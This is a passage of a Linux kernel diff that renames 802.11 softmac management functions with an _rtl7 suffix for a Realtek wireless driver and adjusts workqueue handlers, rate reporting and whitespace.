ieee80211_MFIE_rate_len_rtl7(ieee); int len = sizeof(struct ieee80211_assoc_response_frame) + rate_len; - - skb = dev_alloc_skb(len); - - if (!skb) + + skb = dev_alloc_skb(len); + + if (!skb) return NULL; - + assoc = (struct ieee80211_assoc_response_frame *) skb_put(skb,sizeof(struct ieee80211_assoc_response_frame)); - + assoc->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_ASSOC_RESP); memcpy(assoc->header.addr1, dest,ETH_ALEN); memcpy(assoc->header.addr3, ieee->dev->dev_addr, ETH_ALEN); memcpy(assoc->header.addr2, ieee->dev->dev_addr, ETH_ALEN); - assoc->capability = cpu_to_le16(ieee->iw_mode == IW_MODE_MASTER ? + assoc->capability = cpu_to_le16(ieee->iw_mode == IW_MODE_MASTER ? WLAN_CAPABILITY_BSS : WLAN_CAPABILITY_IBSS); - - + + if(ieee->short_slot) assoc->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_SLOT); - + if (ieee->host_encrypt) crypt = ieee->crypt[ieee->tx_keyidx]; else crypt = NULL; - + encrypt = ( crypt && crypt->ops); - + if (encrypt) assoc->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - + assoc->status = 0; assoc->aid = cpu_to_le16(ieee->assoc_id); if (ieee->assoc_id == 0x2007) ieee->assoc_id=0; else ieee->assoc_id++; - + tag = (u8*) skb_put(skb, rate_len); - - ieee80211_MFIE_Brate(ieee, &tag); - ieee80211_MFIE_Grate(ieee, &tag); - + + ieee80211_MFIE_Brate_rtl7(ieee, &tag); + ieee80211_MFIE_Grate_rtl7(ieee, &tag); + return skb; } -struct sk_buff* ieee80211_auth_resp(struct ieee80211_device *ieee,int status, u8 *dest) +struct sk_buff* ieee80211_auth_resp_rtl7(struct ieee80211_device *ieee,int status, u8 *dest) { struct sk_buff *skb; struct ieee80211_authentication *auth; - - skb = dev_alloc_skb(sizeof(struct ieee80211_authentication)+1); - - if (!skb) + + skb = dev_alloc_skb(sizeof(struct ieee80211_authentication)+1); + + if (!skb) return NULL; - + skb->len = sizeof(struct ieee80211_authentication); - + auth = (struct ieee80211_authentication *)skb->data; - + auth->status = cpu_to_le16(status); auth->transaction = cpu_to_le16(2); auth->algorithm = cpu_to_le16(WLAN_AUTH_OPEN); - + memcpy(auth->header.addr3, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr1, dest, ETH_ALEN); - auth->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_AUTH); + auth->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_AUTH); return skb; - - + + } -struct sk_buff* ieee80211_null_func(struct ieee80211_device *ieee,short pwr) +struct sk_buff* ieee80211_null_func_rtl7(struct ieee80211_device *ieee,short pwr) { struct sk_buff *skb; struct ieee80211_hdr_3addr* hdr; - - skb = dev_alloc_skb(sizeof(struct ieee80211_hdr_3addr)); - - if (!skb) + + skb = dev_alloc_skb(sizeof(struct ieee80211_hdr_3addr)); + + if (!skb) return NULL; - + hdr = (struct ieee80211_hdr_3addr*)skb_put(skb,sizeof(struct ieee80211_hdr_3addr)); - + memcpy(hdr->addr1, ieee->current_network.bssid, ETH_ALEN); memcpy(hdr->addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(hdr->addr3, ieee->current_network.bssid, ETH_ALEN); - - hdr->frame_ctl = cpu_to_le16(IEEE80211_FTYPE_DATA | - IEEE80211_STYPE_NULLFUNC | IEEE80211_FCTL_TODS | - (pwr ? IEEE80211_FCTL_PM:0)); - + + hdr->frame_ctl = cpu_to_le16(IEEE80211_FTYPE_DATA | + IEEE80211_STYPE_NULLFUNC | IEEE80211_FCTL_TODS | + (pwr ? IEEE80211_FCTL_PM:0)); + return skb; - - + + } -void ieee80211_resp_to_assoc_rq(struct ieee80211_device *ieee, u8* dest) +void ieee80211_resp_to_assoc_rq_rtl7(struct ieee80211_device *ieee, u8* dest) { - struct sk_buff *buf = ieee80211_assoc_resp(ieee, dest); - + struct sk_buff *buf = ieee80211_assoc_resp_rtl7(ieee, dest); + if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -void ieee80211_resp_to_auth(struct ieee80211_device *ieee, int s, u8* dest) +void ieee80211_resp_to_auth_rtl7(struct ieee80211_device *ieee, int s, u8* dest) { - struct sk_buff *buf = ieee80211_auth_resp(ieee, s, dest); - + struct sk_buff *buf = ieee80211_auth_resp_rtl7(ieee, s, dest); + if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -void ieee80211_resp_to_probe(struct ieee80211_device *ieee, u8 *dest) +void ieee80211_resp_to_probe_rtl7(struct ieee80211_device *ieee, u8 *dest) { - - struct sk_buff *buf = ieee80211_probe_resp(ieee, dest); - - if (buf) - softmac_mgmt_xmit(buf, ieee); + + struct sk_buff *buf = ieee80211_probe_resp_rtl7(ieee, dest); + + if (buf) + softmac_mgmt_xmit_rtl7(buf, ieee); } -inline struct sk_buff *ieee80211_association_req(struct ieee80211_network *beacon,struct ieee80211_device *ieee) +inline struct sk_buff *ieee80211_association_req_rtl7(struct ieee80211_network *beacon,struct ieee80211_device *ieee) { struct sk_buff *skb; - + struct ieee80211_assoc_request_frame *hdr; u8 *tag; - + unsigned int wpa_len = beacon->wpa_ie_len; - - unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); - - - + + unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); + + + int len=sizeof(struct ieee80211_assoc_request_frame)+ + beacon->ssid_len//essid tagged val + rate_len//rates tagged val + wpa_len; - + skb = dev_alloc_skb(len); - - if (!skb) + + if (!skb) return NULL; - + hdr = (struct ieee80211_assoc_request_frame *) skb_put(skb, sizeof(struct ieee80211_assoc_request_frame)); - - + + hdr->header.frame_ctl = IEEE80211_STYPE_ASSOC_REQ; hdr->header.duration_id= 37; //FIXME memcpy(hdr->header.addr1, beacon->bssid, ETH_ALEN); memcpy(hdr->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(hdr->header.addr3, beacon->bssid, ETH_ALEN); - + hdr->capability = cpu_to_le16(WLAN_CAPABILITY_BSS); - if (beacon->capability & WLAN_CAPABILITY_PRIVACY ) + if (beacon->capability & WLAN_CAPABILITY_PRIVACY ) hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - + if(ieee->short_slot) hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_SLOT); - + + if(beacon->capability & WLAN_CAPABILITY_SHORT_PREAMBLE) + hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_PREAMBLE); + hdr->listen_interval = 0xa; //FIXME - + hdr->info_element.id = MFIE_TYPE_SSID; hdr->info_element.len = beacon->ssid_len; tag = skb_put(skb, beacon->ssid_len); memcpy(tag, beacon->ssid, beacon->ssid_len); - - tag = skb_put(skb, rate_len); - - ieee80211_MFIE_Brate(ieee, &tag); - ieee80211_MFIE_Grate(ieee, &tag); - + + tag = skb_put(skb, rate_len); + + ieee80211_MFIE_Brate_rtl7(ieee, &tag); + ieee80211_MFIE_Grate_rtl7(ieee, &tag); + tag = skb_put(skb,wpa_len); - + memcpy(tag,beacon->wpa_ie,wpa_len); - + return skb; } -void ieee80211_associate_abort(struct ieee80211_device *ieee) +void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee) { - + unsigned long flags; spin_lock_irqsave(&ieee->lock, flags); - + ieee->associate_seq++; - + /* don't scan, and avoid to have the RX path possibily * try again to associate. Even do not react to AUTH or * ASSOC response. Just wait for the retry wq to be scheduled. @@ -873,166 +882,181 @@ * with, so we retry or just get back to NO_LINK and scanning */ if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING){ - IEEE80211_DEBUG_MGMT("Authentication failed\n"); + IEEE80211_DEBUG_MGMT("Authentication failed\n"); ieee->softmac_stats.no_auth_rs++; }else{ - IEEE80211_DEBUG_MGMT("Association failed\n"); + IEEE80211_DEBUG_MGMT("Association failed\n"); ieee->softmac_stats.no_ass_rs++; } - + ieee->state = IEEE80211_ASSOCIATING_RETRY; - + queue_delayed_work(ieee->wq, &ieee->associate_retry_wq, IEEE80211_SOFTMAC_ASSOC_RETRY_TIME); - + spin_unlock_irqrestore(&ieee->lock, flags); } -void ieee80211_associate_abort_cb(unsigned long dev) +void ieee80211_associate_abort_cb_rtl7(unsigned long dev) { - ieee80211_associate_abort((struct ieee80211_device *) dev); + ieee80211_associate_abort_rtl7((struct ieee80211_device *) dev); } -void ieee80211_associate_step1(struct ieee80211_device *ieee) +void ieee80211_associate_step1_rtl7(struct ieee80211_device *ieee) { struct ieee80211_network *beacon = &ieee->current_network; struct sk_buff *skb; - + IEEE80211_DEBUG_MGMT("Stopping scan\n"); - + ieee->softmac_stats.tx_auth_rq++; - skb=ieee80211_authentication_req(beacon, ieee, 0); - - if (!skb) - ieee80211_associate_abort(ieee); - else{ + skb=ieee80211_authentication_req_rtl7(beacon, ieee, 0); + + if (!skb) + ieee80211_associate_abort_rtl7(ieee); + else{ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATING ; IEEE80211_DEBUG_MGMT("Sending authentication request\n"); - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } } -void ieee80211_auth_challenge(struct ieee80211_device *ieee, u8 *challenge, int chlen) +void ieee80211_auth_challenge_rtl7(struct ieee80211_device *ieee, u8 *challenge, int chlen) { - u8 *c; + u8 *c; struct sk_buff *skb; struct ieee80211_network *beacon = &ieee->current_network; // int hlen = sizeof(struct ieee80211_authentication); - + ieee->associate_seq++; ieee->softmac_stats.tx_auth_rq++; - - skb = ieee80211_authentication_req(beacon, ieee, chlen+2); - if (!skb) - ieee80211_associate_abort(ieee); + + skb = ieee80211_authentication_req_rtl7(beacon, ieee, chlen+2); + if (!skb) + ieee80211_associate_abort_rtl7(ieee); else{ c = skb_put(skb, chlen+2); *(c++) = MFIE_TYPE_CHALLENGE; *(c++) = chlen; memcpy(c, challenge, chlen); - + IEEE80211_DEBUG_MGMT("Sending authentication challenge response\n"); - - ieee80211_encrypt_fragment(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); - - softmac_mgmt_xmit(skb, ieee); + + ieee80211_encrypt_fragment_rtl7(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); + + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } kfree(challenge); } -void ieee80211_associate_step2(struct ieee80211_device *ieee) +void ieee80211_associate_step2_rtl7(struct ieee80211_device *ieee) { struct sk_buff* skb; struct ieee80211_network *beacon = &ieee->current_network; - + del_timer_sync(&ieee->associate_timer); - + IEEE80211_DEBUG_MGMT("Sending association request\n"); - + ieee->softmac_stats.tx_ass_rq++; - skb=ieee80211_association_req(beacon, ieee); - if (!skb) - ieee80211_associate_abort(ieee); + skb=ieee80211_association_req_rtl7(beacon, ieee); + if (!skb) + ieee80211_associate_abort_rtl7(ieee); else{ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } } -void ieee80211_associate_complete_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_complete_wq_rtl7(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_complete_wq); +#else +void ieee80211_associate_complete_wq_rtl7(struct ieee80211_device *ieee) { +#endif printk(KERN_INFO "Associated successfully\n"); - if(ieee80211_is_54g(ieee->current_network) && +#if 0 + if(ieee80211_is_54g_rtl7(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ - + ieee->rate = 540; printk(KERN_INFO"Using G rates\n"); }else{ ieee->rate = 110; printk(KERN_INFO"Using B rates\n"); } +#else + printk(KERN_INFO"Using %d MBit\n", (ieee->rate/10) ); +#endif ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); + notify_wx_assoc_event_rtl7(ieee); if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); netif_carrier_on(ieee->dev); } -void ieee80211_associate_complete(struct ieee80211_device *ieee) +void ieee80211_associate_complete_rtl7(struct ieee80211_device *ieee) { del_timer_sync(&ieee->associate_timer); - + ieee->seq_ctrl = 0; ieee->state = IEEE80211_LINKED; IEEE80211_DEBUG_MGMT("Successfully associated\n"); - + queue_work(ieee->wq, &ieee->associate_complete_wq); } -void ieee80211_associate_procedure_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_procedure_wq_rtl7(struct work_struct *work) { + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_procedure_wq); +#else +void ieee80211_associate_procedure_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - - ieee80211_stop_scan(ieee); + + ieee80211_stop_scan_rtl7(ieee); ieee->set_chan(ieee->dev, ieee->current_network.channel); - + ieee->associate_seq = 1; - ieee80211_associate_step1(ieee); - + ieee80211_associate_step1_rtl7(ieee); + up(&ieee->wx_sem); } -inline void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net) +inline void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net) { - + u8 tmp_ssid[IW_ESSID_MAX_SIZE+1]; int tmp_ssid_len = 0; - + short apset,ssidset,ssidbroad,apmatch,ssidmatch; - - /* we are interested in new new only if we are not associated + + /* we are interested in new new only if we are not associated * and we are not associating / authenticating */ if (ieee->state != IEEE80211_NOLINK) - return; - + return; + if ((ieee->iw_mode == IW_MODE_INFRA) && !(net->capability & WLAN_CAPABILITY_BSS)) return; - + if ((ieee->iw_mode == IW_MODE_ADHOC) && !(net->capability & WLAN_CAPABILITY_IBSS)) return; - + if (ieee->iw_mode == IW_MODE_INFRA || ieee->iw_mode == IW_MODE_ADHOC){ /* if the user specified the AP MAC, we need also the essid * This could be obtained by beacons or, if the network does not @@ -1043,23 +1067,23 @@ ssidbroad = !(net->ssid_len == 0 || net->ssid[0]== '\0'); apmatch = (memcmp(ieee->current_network.bssid, net->bssid, ETH_ALEN)==0); ssidmatch = (0==strncmp(ieee->current_network.ssid, net->ssid, net->ssid_len)); - - - + + + if ( /* if the user set the AP check if match. * if the network does not broadcast essid we check the user supplyed ANY essid * if the network does broadcast and the user does not set essid it is OK * if the network does broadcast and the user did set essid chech if essid match */ - ( apset && apmatch && - ((ssidset && ssidbroad && ssidmatch) || (ssidbroad && !ssidset) || (!ssidbroad && ssidset)) ) || + ( apset && apmatch && + ((ssidset && ssidbroad && ssidmatch) || (ssidbroad && !ssidset) || (!ssidbroad && ssidset)) ) || /* if the ap is not set, check that the user set the bssid * and the network does bradcast and that those two bssid matches - */ - (!apset && ssidset && ssidbroad && ssidmatch) + */ + (!apset && ssidset && ssidbroad && ssidmatch) ){ - - + + /* if the essid is hidden replace it with the * essid provided by the user. */ @@ -1068,18 +1092,19 @@ tmp_ssid_len = ieee->current_network.ssid_len; } memcpy(&ieee->current_network, net, sizeof(struct ieee80211_network)); - + if (!ssidbroad){ strncpy(ieee->current_network.ssid, tmp_ssid, IW_ESSID_MAX_SIZE); ieee->current_network.ssid_len = tmp_ssid_len; } - printk(KERN_INFO"Linking with %s\n",ieee->current_network.ssid); - + printk(KERN_INFO"Linking with \"%s\" rate: %d MBit\n",ieee->current_network.ssid, (ieee->rate/10)); + if (ieee->iw_mode == IW_MODE_INFRA){ ieee->state = IEEE80211_ASSOCIATING; queue_work(ieee->wq, &ieee->associate_procedure_wq); }else{ - if(ieee80211_is_54g(ieee->current_network) && +#if 0 + if(ieee80211_is_54g_rtl7(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ ieee->rate = 540; printk(KERN_INFO"Using G rates\n"); @@ -1087,44 +1112,45 @@ ieee->rate = 110; printk(KERN_INFO"Using B rates\n"); } +#else + printk(KERN_INFO"Using %d MBit\n", (ieee->rate/10) ); +#endif ieee->state = IEEE80211_LINKED; } - + } } - } -void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee) +void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee) { - + unsigned long flags; struct ieee80211_network *target; - + spin_lock_irqsave(&ieee->lock, flags); - list_for_each_entry(target, &ieee->network_list, list) { - + /* if the state become different that NOLINK means * we had found what we are searching for */ - if (ieee->state != IEEE80211_NOLINK) + if (ieee->state != IEEE80211_NOLINK) break; - + //if (ieee->scan_age == 0 || time_after(target->last_scanned + ieee->scan_age, jiffies)) - ieee80211_softmac_new_net(ieee, target); + ieee80211_softmac_new_net_rtl7(ieee, target); } - + spin_unlock_irqrestore(&ieee->lock, flags); - + } -static inline u16 auth_parse(struct sk_buff *skb, u8** challenge, int *chlen) +static inline u16 auth_parse_rtl7(struct sk_buff *skb, u8** challenge, int *chlen) { struct ieee80211_authentication *a; u8 *t; - if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ + if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ IEEE80211_DEBUG_MGMT("invalid len in auth resp: %d\n",skb->len); return 0xcafe; } @@ -1132,58 +1158,58 @@ a = (struct ieee80211_authentication*) skb->data; if(skb->len > (sizeof(struct ieee80211_authentication) +3)){ t = skb->data + sizeof(struct ieee80211_authentication); - + if(*(t++) == MFIE_TYPE_CHALLENGE){ *chlen = *(t++); *challenge = (u8*)kmalloc(*chlen, GFP_ATOMIC); memcpy(*challenge, t, *chlen); } } - + return cpu_to_le16(a->status); - + } -int auth_rq_parse(struct sk_buff *skb,u8* dest) +int auth_rq_parse_rtl7(struct sk_buff *skb,u8* dest) { struct ieee80211_authentication *a; - - if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ - IEEE80211_DEBUG_MGMT("invalid len in auth request: %d\n",skb->len); + + if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ + IEEE80211_DEBUG_MGMT("invalid len in auth request: %d\n",skb->len); return -1; } a = (struct ieee80211_authentication*) skb->data; - + memcpy(dest,a->header.addr2, ETH_ALEN); - - if (le16_to_cpu(a->algorithm) != WLAN_AUTH_OPEN) + + if (le16_to_cpu(a->algorithm) != WLAN_AUTH_OPEN) return WLAN_STATUS_NOT_SUPPORTED_AUTH_ALG; - + return WLAN_STATUS_SUCCESS; } -static short probe_rq_parse(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src) +static short probe_rq_parse_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src) { u8 *tag; u8 *skbend; u8 *ssid=NULL; u8 ssidlen = 0; - + struct ieee80211_hdr_3addr *header = (struct ieee80211_hdr_3addr *) skb->data; - - if (skb->len < sizeof (struct ieee80211_hdr_3addr )) + + if (skb->len < sizeof (struct ieee80211_hdr_3addr )) return -1; /* corrupted */ - + memcpy(src,header->addr2, ETH_ALEN); - + skbend = (u8*)skb->data + skb->len; - + tag = skb->data + sizeof (struct ieee80211_hdr_3addr ); - + while (tag+1 < skbend){ - if (*tag == 0){ + if (*tag == 0){ ssid = tag+2; ssidlen = *(tag+1); break; @@ -1192,88 +1218,88 @@ tag = tag + *(tag); /* point to the last data byte of the tag */ tag++; /* point to the next tag */ } - + //IEEE80211DMESG("Card MAC address is "MACSTR, MAC2STR(src)); if (ssidlen == 0) return 1; - + if (!ssid) return 1; /* ssid not found in tagged param */ return (!strncmp(ssid, ieee->current_network.ssid, ssidlen)); - + } -int assoc_rq_parse(struct sk_buff *skb,u8* dest) +int assoc_rq_parse_rtl7(struct sk_buff *skb,u8* dest) { struct ieee80211_assoc_request_frame *a; - - if (skb->len < (sizeof(struct ieee80211_assoc_request_frame) - - sizeof(struct ieee80211_info_element))) { - + + if (skb->len < (sizeof(struct ieee80211_assoc_request_frame) - + sizeof(struct ieee80211_info_element))) { + IEEE80211_DEBUG_MGMT("invalid len in auth request:%d \n", skb->len); return -1; } - + a = (struct ieee80211_assoc_request_frame*) skb->data; - + memcpy(dest,a->header.addr2,ETH_ALEN); - + return 0; } -static inline u16 assoc_parse(struct sk_buff *skb, int *aid) +static inline u16 assoc_parse_rtl7(struct sk_buff *skb, int *aid) { struct ieee80211_assoc_response_frame *a; - if (skb->len < sizeof(struct ieee80211_assoc_response_frame)){ + if (skb->len < sizeof(struct ieee80211_assoc_response_frame)){ IEEE80211_DEBUG_MGMT("invalid len in auth resp: %d\n", skb->len); return 0xcafe; } - + a = (struct ieee80211_assoc_response_frame*) skb->data; *aid = le16_to_cpu(a->aid) & 0x3fff; return le16_to_cpu(a->status); } static inline void -ieee80211_rx_probe_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_probe_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; - + //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_probe_rq++; //DMESG("Dest is "MACSTR, MAC2STR(dest)); - if (probe_rq_parse(ieee, skb, dest)){ + if (probe_rq_parse_rtl7(ieee, skb, dest)){ //IEEE80211DMESG("Was for me!"); ieee->softmac_stats.tx_probe_rs++; - ieee80211_resp_to_probe(ieee, dest); + ieee80211_resp_to_probe_rtl7(ieee, dest); } } static inline void -ieee80211_rx_auth_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_auth_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; int status; //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_auth_rq++; - - if ((status = auth_rq_parse(skb, dest))!= -1){ - ieee80211_resp_to_auth(ieee, status, dest); + + if ((status = auth_rq_parse_rtl7(skb, dest))!= -1){ + ieee80211_resp_to_auth_rtl7(ieee, status, dest); } //DMESG("Dest is "MACSTR, MAC2STR(dest)); - + } static inline void -ieee80211_rx_assoc_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_assoc_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { - + u8 dest[ETH_ALEN]; //unsigned long flags; - + ieee->softmac_stats.rx_ass_rq++; - if (assoc_rq_parse(skb,dest) != -1){ - ieee80211_resp_to_assoc_rq(ieee, dest); + if (assoc_rq_parse_rtl7(skb,dest) != -1){ + ieee80211_resp_to_assoc_rq_rtl7(ieee, dest); } - + printk(KERN_INFO"New client associated: "MAC_FMT"\n", MAC_ARG(dest)); //FIXME #if 0 @@ -1285,25 +1311,25 @@ -void ieee80211_sta_ps_send_null_frame(struct ieee80211_device *ieee, short pwr) +void ieee80211_sta_ps_send_null_frame_rtl7(struct ieee80211_device *ieee, short pwr) { - - struct sk_buff *buf = ieee80211_null_func(ieee, pwr); - + + struct sk_buff *buf = ieee80211_null_func_rtl7(ieee, pwr); + if (buf) - softmac_ps_mgmt_xmit(buf, ieee); + softmac_ps_mgmt_xmit_rtl7(buf, ieee); -} +} -short ieee80211_sta_ps_sleep(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) -{ +short ieee80211_sta_ps_sleep_rtl7(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) +{ int timeout = ieee->ps_timeout; u8 dtim; /*if(ieee->ps == IEEE80211_PS_DISABLED || - ieee->iw_mode != IW_MODE_INFRA || + ieee->iw_mode != IW_MODE_INFRA || ieee->state != IEEE80211_LINKED) - + return 0; */ dtim = ieee->current_network.dtim_data; @@ -1312,133 +1338,133 @@ return 0; //printk("VALID\n"); ieee->current_network.dtim_data = IEEE80211_DTIM_INVALID; - + if(dtim & ((IEEE80211_DTIM_UCAST | IEEE80211_DTIM_MBCAST)& ieee->ps)) return 2; - + if(!time_after(jiffies, ieee->dev->trans_start + MSECS(timeout))) return 0; - + if(!time_after(jiffies, ieee->last_rx_ps_time + MSECS(timeout))) return 0; - + if((ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE ) && (ieee->mgmt_queue_tail != ieee->mgmt_queue_head)) return 0; - + if(time_l){ - *time_l = ieee->current_network.last_dtim_sta_time[0] - + (ieee->current_network.beacon_interval + *time_l = ieee->current_network.last_dtim_sta_time[0] + + (ieee->current_network.beacon_interval * ieee->current_network.dtim_period) * 1000; } - + if(time_h){ *time_h = ieee->current_network.last_dtim_sta_time[1]; if(time_l && *time_l < ieee->current_network.last_dtim_sta_time[0]) *time_h += 1; } - + return 1; - - + + } -inline void ieee80211_sta_ps(struct ieee80211_device *ieee) +inline void ieee80211_sta_ps_rtl7(struct ieee80211_device *ieee) { u32 th,tl; short sleep; - + unsigned long flags,flags2; - + spin_lock_irqsave(&ieee->lock, flags); - + if((ieee->ps == IEEE80211_PS_DISABLED || - ieee->iw_mode != IW_MODE_INFRA || + ieee->iw_mode != IW_MODE_INFRA || ieee->state != IEEE80211_LINKED)){ - - #warning CHECK_LOCK_HERE + +// #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - - ieee80211_sta_wakeup(ieee, 1); - + + ieee80211_sta_wakeup_rtl7(ieee, 1); + printk(KERN_WARNING "wakeup 1!\n" ); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } - - sleep = ieee80211_sta_ps_sleep(ieee,&th, &tl); + + sleep = ieee80211_sta_ps_sleep_rtl7(ieee,&th, &tl); /* 2 wake, 1 sleep, 0 do nothing */ if(sleep == 0) goto out; - + if(sleep == 1){ - + if(ieee->sta_sleep == 1) ieee->enter_sleep_state(ieee->dev,th,tl); - + else if(ieee->sta_sleep == 0){ // printk("send null 1\n"); spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - + if(ieee->ps_is_queue_empty(ieee->dev)){ - - + + ieee->sta_sleep = 2; - + ieee->ps_request_tx_ack(ieee->dev); - - ieee80211_sta_ps_send_null_frame(ieee,1); - + + ieee80211_sta_ps_send_null_frame_rtl7(ieee,1); + ieee->ps_th = th; ieee->ps_tl = tl; - } + } spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); - + } - - + + }else if(sleep == 2){ -#warning CHECK_LOCK_HERE +// #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - - ieee80211_sta_wakeup(ieee,1); - + + ieee80211_sta_wakeup_rtl7(ieee,1); + printk(KERN_WARNING "wakeup 2!\n" ); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } -out: +out: spin_unlock_irqrestore(&ieee->lock, flags); - + } -void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl) +void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl) { if(ieee->sta_sleep == 0){ if(nl){ printk("Warning: driver is probably failing to report TX ps error\n"); ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); } return; - + } - - if(ieee->sta_sleep == 1) + + if(ieee->sta_sleep == 1) ieee->sta_wake_up(ieee->dev); - + ieee->sta_sleep = 0; - + if(nl){ ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); } } -void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success) +void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success) { unsigned long flags,flags2; - + spin_lock_irqsave(&ieee->lock, flags); - + if(ieee->sta_sleep == 2){ /* Null frame with PS bit set */ if(success){ @@ -1451,10 +1477,10 @@ } /* 21112005 - tx again null without PS bit if lost */ else { - + if((ieee->sta_sleep == 0) && !success){ spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } } @@ -1462,129 +1488,132 @@ } inline int -ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype) { struct ieee80211_hdr_3addr *header; - header = (struct ieee80211_hdr_3addr *) skb->data; u16 errcode; u8* challenge; int chlen; int aid; - + + chlen = 0; + + header = (struct ieee80211_hdr_3addr *) skb->data; + if(!ieee->proto_started) return 0; - + if(ieee->sta_sleep || (ieee->ps != IEEE80211_PS_DISABLED && - ieee->iw_mode == IW_MODE_INFRA && + ieee->iw_mode == IW_MODE_INFRA && ieee->state == IEEE80211_LINKED)) - + tasklet_schedule(&ieee->ps_task); - + if(WLAN_FC_GET_STYPE(header->frame_ctl) != IEEE80211_STYPE_PROBE_RESP && WLAN_FC_GET_STYPE(header->frame_ctl) != IEEE80211_STYPE_BEACON) ieee->last_rx_ps_time = jiffies; - + switch (WLAN_FC_GET_STYPE(header->frame_ctl)) { - + case IEEE80211_STYPE_ASSOC_RESP: case IEEE80211_STYPE_REASSOC_RESP: - + IEEE80211_DEBUG_MGMT("received [RE]ASSOCIATION RESPONSE (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && - ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATED && + ieee->state == 